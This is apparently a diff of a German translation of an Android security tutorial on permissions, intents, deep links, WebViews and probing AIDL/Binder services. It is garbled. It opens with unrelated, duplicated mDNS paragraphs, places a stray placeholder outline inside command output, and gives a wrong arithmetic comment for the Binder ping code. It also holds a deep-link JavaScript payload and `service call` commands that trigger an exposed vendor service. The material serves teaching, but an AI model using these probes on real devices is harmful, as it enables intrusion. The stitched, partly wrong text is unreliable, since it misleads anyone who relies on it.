Für DNS nutzt Bonjour das **Multicast DNS (mDNS)-Protokoll**. mDNS arbeitet über **Port 5353/UDP** und verwendet **Standard-DNS-Abfragen**, die jedoch an die **Multicast-Adresse 224.0.0.251** gerichtet sind. Dieser Ansatz stellt sicher, dass alle hörenden Geräte im Netzwerk die Abfragen empfangen und darauf reagieren können, was die Aktualisierung ihrer Einträge erleichtert.
|
||||
|
||||
Beim Beitritt zum Netzwerk wählt sich jedes Gerät selbst einen Namen, der typischerweise mit **.local** endet und entweder vom Hostnamen abgeleitet oder zufällig generiert wird.
|
||||
|
||||
Die Dienstentdeckung im Netzwerk wird durch **DNS Service Discovery (DNS-SD)** erleichtert. Unter Verwendung des Formats von DNS SRV-Einträgen nutzt DNS-SD **DNS PTR-Einträge**, um die Auflistung mehrerer Dienste zu ermöglichen. Ein Client, der einen bestimmten Dienst sucht, fordert einen PTR-Eintrag für `<Service>.<Domain>` an und erhält im Gegenzug eine Liste von PTR-Einträgen im Format `<Instance>.<Service>.<Domain>`, wenn der Dienst von mehreren Hosts verfügbar ist.
|
||||
Die Dienstentdeckung im Netzwerk wird durch **DNS Service Discovery (DNS-SD)** erleichtert. Unter Verwendung des Formats von DNS SRV-Einträgen verwendet DNS-SD **DNS PTR-Einträge**, um die Auflistung mehrerer Dienste zu ermöglichen. Ein Client, der einen bestimmten Dienst sucht, fordert einen PTR-Eintrag für `<Service>.<Domain>` an und erhält im Gegenzug eine Liste von PTR-Einträgen im Format `<Instance>.<Service>.<Domain>`, wenn der Dienst von mehreren Hosts verfügbar ist.
|
||||
|
||||
Das `dns-sd`-Dienstprogramm kann verwendet werden, um **Netzwerkdienste zu entdecken und zu bewerben**. Hier sind einige Beispiele für seine Verwendung:
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
**Es gibt zwei Ebenen:**
|
||||
|
||||
- Das **Betriebssystem**, das installierte Anwendungen voneinander isoliert.
|
||||
- Die **Anwendung selbst**, die es Entwicklern ermöglicht, **bestimmte Funktionen freizugeben** und die Anwendungsfähigkeiten zu konfigurieren.
|
||||
- Die **Anwendung selbst**, die es Entwicklern ermöglicht, **bestimmte Funktionen** freizugeben und die Anwendungsfähigkeiten zu konfigurieren.
|
||||
|
||||
### UID-Trennung
|
||||
|
||||
@ -15,7 +15,7 @@
|
||||
|
||||
### UID-Teilung
|
||||
|
||||
**Zwei Anwendungen können so konfiguriert werden, dass sie dieselbe UID verwenden**. Dies kann nützlich sein, um Informationen zu teilen, aber wenn eine von ihnen kompromittiert wird, sind die Daten beider Anwendungen gefährdet. Aus diesem Grund wird dieses Verhalten **abgeraten**.\
|
||||
**Zwei Anwendungen können so konfiguriert werden, dass sie dieselbe UID verwenden**. Dies kann nützlich sein, um Informationen zu teilen, aber wenn eine von ihnen kompromittiert wird, sind die Daten beider Anwendungen gefährdet. Aus diesem Grund wird dieses Verhalten **missbilligt**.\
|
||||
**Um dieselbe UID zu teilen, müssen Anwendungen denselben `android:sharedUserId`-Wert in ihren Manifests definieren.**
|
||||
|
||||
### Sandbox
|
||||
@ -25,8 +25,8 @@ Seit Android 5.0(L) wird **SELinux** durchgesetzt. Grundsätzlich verweigerte SE
|
||||
|
||||
### Berechtigungen
|
||||
|
||||
Wenn Sie eine **App installieren und sie nach Berechtigungen fragt**, fragt die App nach den Berechtigungen, die in den **`uses-permission`**-Elementen in der **AndroidManifest.xml**-Datei konfiguriert sind. Das **uses-permission**-Element gibt den Namen der angeforderten Berechtigung im **name**-Attribut an. Es hat auch das **maxSdkVersion**-Attribut, das das Anfordern von Berechtigungen in höheren Versionen als der angegebenen stoppt.\
|
||||
Beachten Sie, dass Android-Anwendungen nicht alle Berechtigungen zu Beginn anfordern müssen; sie können auch **dynamisch nach Berechtigungen fragen**, aber alle Berechtigungen müssen im **Manifest** **deklarieren**.
|
||||
Wenn Sie eine **App installieren und sie nach Berechtigungen fragt**, fragt die App nach den Berechtigungen, die in den **`uses-permission`**-Elementen in der **AndroidManifest.xml**-Datei konfiguriert sind. Das **uses-permission**-Element gibt den Namen der angeforderten Berechtigung im **name**-Attribut an. Es hat auch das **maxSdkVersion**-Attribut, das das Anfordern von Berechtigungen in Versionen über der angegebenen stoppt.\
|
||||
Beachten Sie, dass Android-Anwendungen nicht alle Berechtigungen zu Beginn anfordern müssen; sie können auch **dynamisch nach Berechtigungen fragen**, aber alle Berechtigungen müssen im **Manifest** **deklariert** werden.
|
||||
|
||||
Wenn eine App Funktionen freigibt, kann sie den **Zugriff nur auf Apps beschränken, die über eine bestimmte Berechtigung verfügen**.\
|
||||
Ein Berechtigungselement hat drei Attribute:
|
||||
@ -39,15 +39,15 @@ Ein Berechtigungselement hat drei Attribute:
|
||||
- **Signature**: Nur **Apps, die mit demselben Zertifikat wie das, das die Komponente exportiert, signiert sind**, können die Berechtigung erhalten. Dies ist die stärkste Art des Schutzes.
|
||||
- **SignatureOrSystem**: Nur **Apps, die mit demselben Zertifikat wie das, das die Komponente exportiert, signiert sind, oder **Apps, die mit Systemzugriff ausgeführt werden**, können Berechtigungen erhalten.
|
||||
|
||||
## Vorinstallierte Anwendungen
|
||||
## Vorgefertigte Anwendungen
|
||||
|
||||
Diese Apps befinden sich normalerweise in den **`/system/app`** oder **`/system/priv-app`** Verzeichnissen, und einige von ihnen sind **optimiert** (Sie finden möglicherweise nicht einmal die `classes.dex`-Datei). Diese Anwendungen sind es wert, überprüft zu werden, da sie manchmal **mit zu vielen Berechtigungen** (als Root) **ausgeführt werden**.
|
||||
Diese Apps befinden sich normalerweise in den **`/system/app`**- oder **`/system/priv-app`**-Verzeichnissen, und einige von ihnen sind **optimiert** (Sie finden möglicherweise nicht einmal die `classes.dex`-Datei). Diese Anwendungen sind es wert, überprüft zu werden, da sie manchmal **mit zu vielen Berechtigungen** (als Root) ausgeführt werden.
|
||||
|
||||
- Die mit dem **AOSP** (Android OpenSource Project) **ROM** gelieferten
|
||||
- Vom Gerätehersteller hinzugefügt
|
||||
- Vom Mobilfunkanbieter hinzugefügt (wenn sie von ihnen gekauft wurden)
|
||||
|
||||
## Rooting
|
||||
## Rooten
|
||||
|
||||
Um Root-Zugriff auf ein physisches Android-Gerät zu erhalten, müssen Sie in der Regel 1 oder 2 **Schwachstellen** **ausnutzen**, die normalerweise **spezifisch** für das **Gerät** und die **Version** sind.\
|
||||
Sobald der Exploit funktioniert hat, wird normalerweise die Linux `su`-Binärdatei an einem Ort kopiert, der in der PATH-Umgebungsvariable des Benutzers angegeben ist, wie z.B. `/system/xbin`.
|
||||
@ -66,7 +66,7 @@ Beachten Sie, dass **es nicht immer notwendig ist, das Gerät zu rooten**, um ei
|
||||
|
||||
### Auswirkungen
|
||||
|
||||
Sobald ein Gerät gerootet ist, kann jede App Zugriff als Root anfordern. Wenn eine bösartige Anwendung dies erhält, hat sie Zugriff auf fast alles und kann das Telefon beschädigen.
|
||||
Sobald ein Gerät gerootet ist, könnte jede App Zugriff als Root anfordern. Wenn eine bösartige Anwendung dies erhält, hat sie Zugriff auf fast alles und kann das Telefon beschädigen.
|
||||
|
||||
## Grundlagen von Android-Anwendungen <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
@ -93,21 +93,21 @@ Sobald ein Gerät gerootet ist, kann jede App Zugriff als Root anfordern. Wenn e
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
In der Android-Entwicklung wird **Java oder Kotlin** zur Erstellung von Apps verwendet. Anstelle der Verwendung der JVM wie in Desktop-Apps kompiliert Android diesen Code in **Dalvik Executable (DEX) Bytecode**. Früher verwaltete die Dalvik-VM diesen Bytecode, aber jetzt übernimmt die Android Runtime (ART) in neueren Android-Versionen.
|
||||
In der Android-Entwicklung wird **Java oder Kotlin** zur Erstellung von Apps verwendet. Anstelle der Verwendung der JVM wie in Desktop-Apps kompiliert Android diesen Code in **Dalvik Executable (DEX) Bytecode**. Früher verwaltete die Dalvik-virtuelle Maschine diesen Bytecode, aber jetzt übernimmt die Android Runtime (ART) in neueren Android-Versionen.
|
||||
|
||||
Für die Rückentwicklung wird **Smali** entscheidend. Es ist die menschenlesbare Version von DEX-Bytecode und fungiert wie eine Assemblersprache, indem es Quellcode in Bytecode-Anweisungen übersetzt. Smali und baksmali beziehen sich in diesem Kontext auf die Assemblierungs- und Disassemblierungswerkzeuge.
|
||||
|
||||
## Intents
|
||||
|
||||
Intents sind das primäre Mittel, durch das Android-Apps zwischen ihren Komponenten oder mit anderen Apps kommunizieren. Diese Nachrichtenobjekte können auch Daten zwischen Apps oder Komponenten transportieren, ähnlich wie GET/POST-Anfragen in HTTP-Kommunikationen verwendet werden.
|
||||
Intents sind das primäre Mittel, durch das Android-Apps zwischen ihren Komponenten oder mit anderen Apps kommunizieren. Diese Nachrichtenobjekte können auch Daten zwischen Apps oder Komponenten übertragen, ähnlich wie GET/POST-Anfragen in HTTP-Kommunikationen verwendet werden.
|
||||
|
||||
Ein Intent ist also im Grunde eine **Nachricht, die zwischen Komponenten übergeben wird**. Intents **können an** bestimmte Komponenten oder Apps **gerichtet** werden oder **ohne einen bestimmten Empfänger gesendet werden**.\
|
||||
Einfach gesagt, kann ein Intent verwendet werden:
|
||||
|
||||
- Um eine Aktivität zu starten, typischerweise um eine Benutzeroberfläche für eine App zu öffnen
|
||||
- Als Broadcasts, um das System und Apps über Änderungen zu informieren
|
||||
- Um mit einem Hintergrunddienst zu starten, zu stoppen und zu kommunizieren
|
||||
- Um über ContentProviders auf Daten zuzugreifen
|
||||
- Um einen Hintergrunddienst zu starten, zu stoppen und mit ihm zu kommunizieren
|
||||
- Um auf Daten über ContentProviders zuzugreifen
|
||||
- Als Rückrufe zur Behandlung von Ereignissen
|
||||
|
||||
Wenn sie anfällig sind, **können Intents verwendet werden, um eine Vielzahl von Angriffen durchzuführen**.
|
||||
@ -116,11 +116,11 @@ Wenn sie anfällig sind, **können Intents verwendet werden, um eine Vielzahl vo
|
||||
|
||||
**Intent-Filter** definieren, **wie eine Aktivität, ein Dienst oder ein Broadcast-Empfänger mit verschiedenen Arten von Intents interagieren kann**. Im Wesentlichen beschreiben sie die Fähigkeiten dieser Komponenten, wie z.B. welche Aktionen sie ausführen können oder welche Arten von Broadcasts sie verarbeiten können. Der primäre Ort, um diese Filter zu deklarieren, ist innerhalb der **AndroidManifest.xml-Datei**, obwohl es auch eine Option ist, sie für Broadcast-Empfänger zu codieren.
|
||||
|
||||
Intent-Filter bestehen aus Kategorien, Aktionen und Datenfiltern, mit der Möglichkeit, zusätzliche Metadaten einzuschließen. Diese Einrichtung ermöglicht es Komponenten, spezifische Intents zu verarbeiten, die den deklarierten Kriterien entsprechen.
|
||||
Intent-Filter bestehen aus Kategorien, Aktionen und Datenfiltern, mit der Möglichkeit, zusätzliche Metadaten einzuschließen. Diese Konfiguration ermöglicht es Komponenten, spezifische Intents zu verarbeiten, die den deklarierten Kriterien entsprechen.
|
||||
|
||||
Ein kritischer Aspekt von Android-Komponenten (Aktivitäten/Dienste/Inhaltsanbieter/Broadcast-Empfänger) ist ihre Sichtbarkeit oder **öffentlicher Status**. Eine Komponente wird als öffentlich betrachtet und kann mit anderen Apps interagieren, wenn sie **`exported`** mit einem Wert von **`true`** ist oder wenn ein Intent-Filter für sie im Manifest deklariert ist. Es gibt jedoch eine Möglichkeit für Entwickler, diese Komponenten ausdrücklich privat zu halten, um sicherzustellen, dass sie nicht unbeabsichtigt mit anderen Apps interagieren. Dies wird erreicht, indem das **`exported`**-Attribut in ihren Manifestdefinitionen auf **`false`** gesetzt wird.
|
||||
Ein kritischer Aspekt von Android-Komponenten (Aktivitäten/Dienste/Inhaltsanbieter/Broadcast-Empfänger) ist ihre Sichtbarkeit oder **öffentlicher Status**. Eine Komponente wird als öffentlich betrachtet und kann mit anderen Apps interagieren, wenn sie **`exported`** mit einem Wert von **`true`** oder wenn ein Intent-Filter für sie im Manifest deklariert ist. Es gibt jedoch eine Möglichkeit für Entwickler, diese Komponenten ausdrücklich privat zu halten, um sicherzustellen, dass sie nicht unbeabsichtigt mit anderen Apps interagieren. Dies wird erreicht, indem das **`exported`**-Attribut in ihren Manifestdefinitionen auf **`false`** gesetzt wird.
|
||||
|
||||
Darüber hinaus haben Entwickler die Möglichkeit, den Zugriff auf diese Komponenten weiter abzusichern, indem sie spezifische Berechtigungen verlangen. Das **`permission`**-Attribut kann so festgelegt werden, dass nur Apps mit der vorgesehenen Berechtigung auf die Komponente zugreifen können, was eine zusätzliche Sicherheitsebene und Kontrolle darüber hinzufügt, wer mit ihr interagieren kann.
|
||||
Darüber hinaus haben Entwickler die Möglichkeit, den Zugriff auf diese Komponenten weiter abzusichern, indem sie spezifische Berechtigungen verlangen. Das **`permission`**-Attribut kann so eingestellt werden, dass nur Apps mit der vorgesehenen Berechtigung auf die Komponente zugreifen können, was eine zusätzliche Sicherheitsebene und Kontrolle darüber hinzufügt, wer mit ihr interagieren kann.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
@ -161,7 +161,7 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
Diese ermöglichen es anderen Anwendungen, **Aktionen im Namen Ihrer Anwendung auszuführen**, unter Verwendung der Identität und Berechtigungen Ihrer App. Um einen Pending Intent zu erstellen, sollte **ein Intent und die auszuführende Aktion angegeben werden**. Wenn der **deklarierte Intent nicht explizit** ist (nicht angibt, welcher Intent ihn aufrufen kann), könnte eine **bösartige Anwendung die deklarierte Aktion** im Namen der Opfer-App ausführen. Darüber hinaus, **wenn keine Aktion angegeben ist**, kann die bösartige App **jede Aktion im Namen des Opfers** durchführen.
|
||||
Diese ermöglichen es anderen Anwendungen, **Aktionen im Namen Ihrer Anwendung auszuführen**, unter Verwendung der Identität und Berechtigungen Ihrer App. Um einen Pending Intent zu erstellen, sollte **ein Intent und die auszuführende Aktion angegeben werden**. Wenn der **deklarierte Intent nicht explizit** ist (nicht angibt, welcher Intent ihn aufrufen kann), könnte eine **bösartige Anwendung die deklarierte Aktion** im Namen der Opfer-App ausführen. Darüber hinaus, **wenn keine Aktion angegeben ist**, wird die bösartige App in der Lage sein, **jede Aktion im Namen des Opfers** auszuführen.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
@ -172,19 +172,19 @@ Alternativ ist es auch möglich, **eine Berechtigung beim Senden des Broadcasts
|
||||
Es gibt **zwei Arten** von Broadcasts: **Normal** (asynchron) und **Ordered** (synchron). Die **Reihenfolge** basiert auf der **konfigurierten Priorität innerhalb des Empfängerelements**. **Jede App kann den Broadcast verarbeiten, weiterleiten oder verwerfen.**
|
||||
|
||||
Es ist möglich, einen **Broadcast** mit der Funktion `sendBroadcast(intent, receiverPermission)` aus der `Context`-Klasse zu **senden**.\
|
||||
Sie können auch die Funktion **`sendBroadcast`** von **`LocalBroadCastManager`** verwenden, die sicherstellt, dass die **Nachricht die App niemals verlässt**. Damit müssen Sie nicht einmal eine Empfangskomponente exportieren.
|
||||
Sie könnten auch die Funktion **`sendBroadcast`** von **`LocalBroadCastManager`** verwenden, die sicherstellt, dass die **Nachricht die App niemals verlässt**. Damit müssen Sie nicht einmal eine Empfangskomponente exportieren.
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
Diese Art von Broadcasts **kann lange nach dem Senden abgerufen werden**.\
|
||||
Diese wurden in API-Stufe 21 als veraltet erklärt und es wird empfohlen, **sie nicht zu verwenden**.\
|
||||
**Sie ermöglichen es jeder Anwendung, die Daten abzuhören, aber auch sie zu ändern.**
|
||||
Diese wurden in API-Stufe 21 als veraltet markiert und es wird empfohlen, **sie nicht zu verwenden**.\
|
||||
**Sie ermöglichen es jeder Anwendung, die Daten abzuhören, aber auch sie zu modifizieren.**
|
||||
|
||||
Wenn Sie Funktionen finden, die das Wort "sticky" enthalten, wie **`sendStickyBroadcast`** oder **`sendStickyBroadcastAsUser`**, **prüfen Sie die Auswirkungen und versuchen Sie, sie zu entfernen**.
|
||||
|
||||
## Deep links / URL schemes
|
||||
|
||||
In Android-Anwendungen werden **Deep Links** verwendet, um eine Aktion (Intent) direkt über eine URL zu initiieren. Dies geschieht durch die Deklaration eines spezifischen **URL-Schemas** innerhalb einer Aktivität. Wenn ein Android-Gerät versucht, **auf eine URL mit diesem Schema zuzugreifen**, wird die angegebene Aktivität innerhalb der Anwendung gestartet.
|
||||
In Android-Anwendungen werden **Deep Links** verwendet, um eine Aktion (Intent) direkt über eine URL zu initiieren. Dies geschieht, indem ein spezifisches **URL-Schema** innerhalb einer Aktivität deklariert wird. Wenn ein Android-Gerät versucht, eine **URL mit diesem Schema zuzugreifen**, wird die angegebene Aktivität innerhalb der Anwendung gestartet.
|
||||
|
||||
Das Schema muss in der **`AndroidManifest.xml`**-Datei deklariert werden:
|
||||
```xml
|
||||
@ -211,7 +211,7 @@ Um von einer Webseite darauf zuzugreifen, ist es möglich, einen Link wie folgt
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
Um den **Code zu finden, der in der App ausgeführt wird**, gehen Sie zu der Aktivität, die durch den Deeplink aufgerufen wird, und suchen Sie die Funktion **`onNewIntent`**.
|
||||
Um den **Code zu finden, der in der App ausgeführt wird**, gehen Sie zur Aktivität, die durch den Deeplink aufgerufen wird, und suchen Sie die Funktion **`onNewIntent`**.
|
||||
|
||||
Erfahren Sie, wie Sie [Deep Links ohne Verwendung von HTML-Seiten aufrufen](#exploiting-schemes-deep-links).
|
||||
|
||||
@ -252,11 +252,11 @@ Aktivitäten können anderen Apps oder Prozessen zur Verfügung gestellt werden,
|
||||
```
|
||||
Allerdings ist der Zugriff auf eine Aktivität von einer anderen App nicht immer ein Sicherheitsrisiko. Das Problem entsteht, wenn sensible Daten unsachgemäß geteilt werden, was zu Informationslecks führen könnte.
|
||||
|
||||
Der Lebenszyklus einer Aktivität **beginnt mit der onCreate-Methode**, die die Benutzeroberfläche einrichtet und die Aktivität auf die Interaktion mit dem Benutzer vorbereitet.
|
||||
Der Lebenszyklus einer Aktivität **beginnt mit der onCreate-Methode**, die die Benutzeroberfläche einrichtet und die Aktivität für die Interaktion mit dem Benutzer vorbereitet.
|
||||
|
||||
### Anwendungssubklasse
|
||||
### Anwendung Subklasse
|
||||
|
||||
In der Android-Entwicklung hat eine App die Möglichkeit, eine **Subklasse** der [Application](https://developer.android.com/reference/android/app/Application)-Klasse zu erstellen, obwohl dies nicht obligatorisch ist. Wenn eine solche Subklasse definiert ist, wird sie zur ersten Klasse, die innerhalb der App instanziiert wird. Die **`attachBaseContext`**-Methode, wenn sie in dieser Subklasse implementiert ist, wird vor der **`onCreate`**-Methode ausgeführt. Diese Einrichtung ermöglicht eine frühe Initialisierung, bevor der Rest der Anwendung startet.
|
||||
In der Android-Entwicklung hat eine App die Möglichkeit, eine **Subklasse** der [Application](https://developer.android.com/reference/android/app/Application) Klasse zu erstellen, obwohl dies nicht obligatorisch ist. Wenn eine solche Subklasse definiert ist, wird sie die erste Klasse, die innerhalb der App instanziiert wird. Die **`attachBaseContext`** Methode, wenn sie in dieser Subklasse implementiert ist, wird vor der **`onCreate`** Methode ausgeführt. Diese Einrichtung ermöglicht eine frühe Initialisierung, bevor der Rest der Anwendung startet.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
@ -278,15 +278,15 @@ super.onCreate();
|
||||
|
||||
Dienste sind vielseitig; sie können auf verschiedene Weise gestartet werden, wobei **Intents** die primäre Methode zum Starten als Einstiegspunkt einer Anwendung sind. Sobald ein Dienst mit der Methode `startService` gestartet wird, wird die Methode `onStart` aktiviert und läuft weiter, bis die Methode `stopService` ausdrücklich aufgerufen wird. Alternativ, wenn die Rolle eines Dienstes von einer aktiven Clientverbindung abhängt, wird die Methode `bindService` verwendet, um den Client mit dem Dienst zu verbinden, wobei die Methode `onBind` für den Datenaustausch aktiviert wird.
|
||||
|
||||
Eine interessante Anwendung von Diensten umfasst die Wiedergabe von Hintergrundmusik oder das Abrufen von Netzwerkdaten, ohne die Interaktion des Benutzers mit einer App zu beeinträchtigen. Darüber hinaus können Dienste für andere Prozesse auf demselben Gerät durch **Exportieren** zugänglich gemacht werden. Dies ist nicht das Standardverhalten und erfordert eine ausdrückliche Konfiguration in der Android-Manifestdatei:
|
||||
Eine interessante Anwendung von Diensten umfasst die Wiedergabe von Hintergrundmusik oder das Abrufen von Netzwerkdaten, ohne die Interaktion des Benutzers mit einer App zu beeinträchtigen. Darüber hinaus können Dienste für andere Prozesse auf demselben Gerät durch **Exportieren** zugänglich gemacht werden. Dies ist nicht das Standardverhalten und erfordert eine ausdrückliche Konfiguration in der Android Manifest-Datei:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
### Broadcast-Empfänger
|
||||
|
||||
**Broadcast-Empfänger** fungieren als Listener in einem Messaging-System und ermöglichen es mehreren Anwendungen, auf dieselben Nachrichten des Systems zu reagieren. Eine App kann **einen Empfänger** auf **zwei Hauptarten** registrieren: über das **Manifest** der App oder **dynamisch** im Code der App über die **`registerReceiver`** API. Im Manifest werden Broadcasts mit Berechtigungen gefiltert, während dynamisch registrierte Empfänger auch Berechtigungen bei der Registrierung angeben können.
|
||||
**Broadcast-Empfänger** fungieren als Listener in einem Messaging-System und ermöglichen es mehreren Anwendungen, auf dieselben Nachrichten des Systems zu reagieren. Eine App kann **einen Empfänger registrieren** auf **zwei Hauptarten**: über das **Manifest** der App oder **dynamisch** im Code der App über die **`registerReceiver`** API. Im Manifest werden Broadcasts mit Berechtigungen gefiltert, während dynamisch registrierte Empfänger auch Berechtigungen bei der Registrierung angeben können.
|
||||
|
||||
**Intent-Filter** sind in beiden Registrierungsarten entscheidend, da sie bestimmen, welche Broadcasts den Empfänger auslösen. Sobald ein passender Broadcast gesendet wird, wird die Methode **`onReceive`** des Empfängers aufgerufen, was der App ermöglicht, entsprechend zu reagieren, z. B. das Verhalten als Reaktion auf eine Warnung bei niedrigem Batteriestand anzupassen.
|
||||
**Intent-Filter** sind entscheidend in beiden Registrierungsarten, da sie bestimmen, welche Broadcasts den Empfänger auslösen. Sobald ein passender Broadcast gesendet wird, wird die Methode **`onReceive`** des Empfängers aufgerufen, was der App ermöglicht, entsprechend zu reagieren, z. B. das Verhalten als Reaktion auf eine Warnung bei niedrigem Batteriestand anzupassen.
|
||||
|
||||
Broadcasts können entweder **asynchron** sein, wobei alle Empfänger ohne Reihenfolge erreicht werden, oder **synchron**, wobei Empfänger den Broadcast basierend auf festgelegten Prioritäten erhalten. Es ist jedoch wichtig, das potenzielle Sicherheitsrisiko zu beachten, da jede App sich selbst priorisieren kann, um einen Broadcast abzufangen.
|
||||
|
||||
@ -294,7 +294,7 @@ Um die Funktionalität eines Empfängers zu verstehen, suchen Sie nach der Metho
|
||||
|
||||
### Content Provider
|
||||
|
||||
**Content Provider** sind entscheidend für das **Teilen strukturierter Daten** zwischen Apps und betonen die Bedeutung der Implementierung von **Berechtigungen**, um die Datensicherheit zu gewährleisten. Sie ermöglichen es Apps, auf Daten aus verschiedenen Quellen zuzugreifen, einschließlich Datenbanken, Dateisystemen oder dem Web. Spezifische Berechtigungen wie **`readPermission`** und **`writePermission`** sind entscheidend für die Kontrolle des Zugriffs. Darüber hinaus kann temporärer Zugriff über die Einstellungen **`grantUriPermission`** im Manifest der App gewährt werden, wobei Attribute wie `path`, `pathPrefix` und `pathPattern` für eine detaillierte Zugriffskontrolle verwendet werden.
|
||||
**Content Provider** sind entscheidend für das **Teilen strukturierter Daten** zwischen Apps und betonen die Bedeutung der Implementierung von **Berechtigungen**, um die Datensicherheit zu gewährleisten. Sie ermöglichen es Apps, auf Daten aus verschiedenen Quellen zuzugreifen, einschließlich Datenbanken, Dateisystemen oder dem Web. Spezifische Berechtigungen, wie **`readPermission`** und **`writePermission`**, sind entscheidend für die Kontrolle des Zugriffs. Darüber hinaus kann temporärer Zugriff über **`grantUriPermission`**-Einstellungen im Manifest der App gewährt werden, wobei Attribute wie `path`, `pathPrefix` und `pathPattern` für eine detaillierte Zugriffskontrolle genutzt werden.
|
||||
|
||||
Die Eingangsvalidierung ist von größter Bedeutung, um Schwachstellen wie SQL-Injection zu verhindern. Content Provider unterstützen grundlegende Operationen: `insert()`, `update()`, `delete()` und `query()`, die die Datenmanipulation und das Teilen zwischen Anwendungen erleichtern.
|
||||
|
||||
@ -338,19 +338,19 @@ Die JavaScript "Bridge" ermöglicht es Java-Objekten, mit JavaScript zu interagi
|
||||
|
||||
Das Zulassen des Zugriffs auf Inhalte (`setAllowContentAccess(true)`) ermöglicht es WebViews, auf Content Providers zuzugreifen, was ein Risiko darstellen könnte, es sei denn, die Inhalts-URLs werden als sicher verifiziert.
|
||||
|
||||
Um den Dateizugriff zu steuern:
|
||||
Um den Datei-Zugriff zu steuern:
|
||||
|
||||
- Das Deaktivieren des Dateizugriffs (`setAllowFileAccess(false)`) beschränkt den Zugriff auf das Dateisystem, mit Ausnahmen für bestimmte Assets, um sicherzustellen, dass sie nur für nicht sensible Inhalte verwendet werden.
|
||||
- Das Deaktivieren des Datei-Zugriffs (`setAllowFileAccess(false)`) beschränkt den Zugriff auf das Dateisystem, mit Ausnahmen für bestimmte Assets, um sicherzustellen, dass sie nur für nicht sensible Inhalte verwendet werden.
|
||||
|
||||
## Andere App-Komponenten und Mobile Device Management
|
||||
|
||||
### **Digitale Signatur von Anwendungen**
|
||||
|
||||
- **Digitale Signaturen** sind für Android-Apps unerlässlich, um sicherzustellen, dass sie **authentisch erstellt** wurden, bevor sie installiert werden. Dieser Prozess verwendet ein Zertifikat zur Identifizierung der App und muss vom Paketmanager des Geräts bei der Installation überprüft werden. Apps können **selbstsigniert oder von einer externen CA zertifiziert** sein, um unbefugten Zugriff zu verhindern und sicherzustellen, dass die App während der Lieferung an das Gerät unverändert bleibt.
|
||||
- **Digitale Signaturen** sind ein Muss für Android-Apps, um sicherzustellen, dass sie **authentisch erstellt** wurden, bevor sie installiert werden. Dieser Prozess verwendet ein Zertifikat zur Identifizierung der App und muss vom Paketmanager des Geräts bei der Installation überprüft werden. Apps können **selbstsigniert oder von einer externen CA zertifiziert** sein, um unbefugten Zugriff zu verhindern und sicherzustellen, dass die App während der Lieferung an das Gerät unverändert bleibt.
|
||||
|
||||
### **App-Verifizierung für erhöhte Sicherheit**
|
||||
|
||||
- Ab **Android 4.2** ermöglicht eine Funktion namens **Verify Apps** den Nutzern, Apps vor der Installation auf Sicherheit überprüfen zu lassen. Dieser **Verifizierungsprozess** kann Nutzer vor potenziell schädlichen Apps warnen oder sogar die Installation besonders bösartiger Apps verhindern, was die Sicherheit der Nutzer erhöht.
|
||||
- Ab **Android 4.2** ermöglicht eine Funktion namens **Apps überprüfen**, dass Benutzer Apps vor der Installation auf Sicherheit überprüfen lassen. Dieser **Verifizierungsprozess** kann Benutzer vor potenziell schädlichen Apps warnen oder sogar die Installation besonders bösartiger Apps verhindern, was die Sicherheit der Benutzer erhöht.
|
||||
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
@ -367,7 +367,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
```
|
||||
## Auflisten und Ausnutzen von AIDL / Binder-Diensten
|
||||
|
||||
Android *Binder* IPC bietet viele **System- und vom Anbieter bereitgestellte Dienste**. Diese Dienste werden zu einer **Angriffsfläche**, wenn sie ohne eine ordnungsgemäße Berechtigungsprüfung exportiert werden (die AIDL-Schicht selbst führt *keine* Zugriffskontrolle durch).
|
||||
Android *Binder* IPC exponiert viele **System- und vom Anbieter bereitgestellte Dienste**. Diese Dienste werden zu einer **Angriffsfläche**, wenn sie ohne eine ordnungsgemäße Berechtigungsprüfung exportiert werden (die AIDL-Schicht selbst führt *keine* Zugriffskontrolle durch).
|
||||
|
||||
### 1. Laufende Dienste entdecken
|
||||
```bash
|
||||
@ -375,11 +375,11 @@ Android *Binder* IPC bietet viele **System- und vom Anbieter bereitgestellte Die
|
||||
service list # simple one-liner
|
||||
am list services # identical output, ActivityManager wrapper
|
||||
```
|
||||
1. Überschrift 1
|
||||
2. Überschrift 2
|
||||
3. Überschrift 3
|
||||
4. Überschrift 4
|
||||
5. Überschrift 5
|
||||
1. Überschrift
|
||||
2. Einleitung
|
||||
3. Grundlagen der Android-Anwendungen
|
||||
4. Sicherheitsüberlegungen
|
||||
5. Fazit
|
||||
```
|
||||
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
|
||||
146 wifi : [android.net.wifi.IWifiManager]
|
||||
@ -388,8 +388,8 @@ am list services # identical output, ActivityManager wrapper
|
||||
* Der **Binder-Name** (z.B. `mtkconnmetrics`) ist das, was an `service call` übergeben wird.
|
||||
* Der Wert in den Klammern ist die vollqualifizierte **AIDL-Schnittstelle**, von der der Stub generiert wurde.
|
||||
|
||||
### 2. Erhalten Sie den Schnittstellen-Descriptor (PING)
|
||||
Jeder Binder-Stub implementiert automatisch **Transaktionscode `0x5f4e5446`** (`1598968902` dezimal, ASCII "_NTF").
|
||||
### 2. Erhalten Sie den Schnittstellendeskriptor (PING)
|
||||
Jeder Binder-Stub implementiert automatisch den **Transaktionscode `0x5f4e5446`** (`1598968902` dezimal, ASCII "_NTF").
|
||||
```bash
|
||||
# "ping" the service
|
||||
service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
|
||||
@ -408,7 +408,7 @@ Beispiel – Netzwerküberwachung mit uid **1** auf einem MediaTek-Gerät starte
|
||||
```bash
|
||||
service call mtkconnmetrics 8 i32 1
|
||||
```
|
||||
### 4. Brute-Forcing Unbekannte Methoden
|
||||
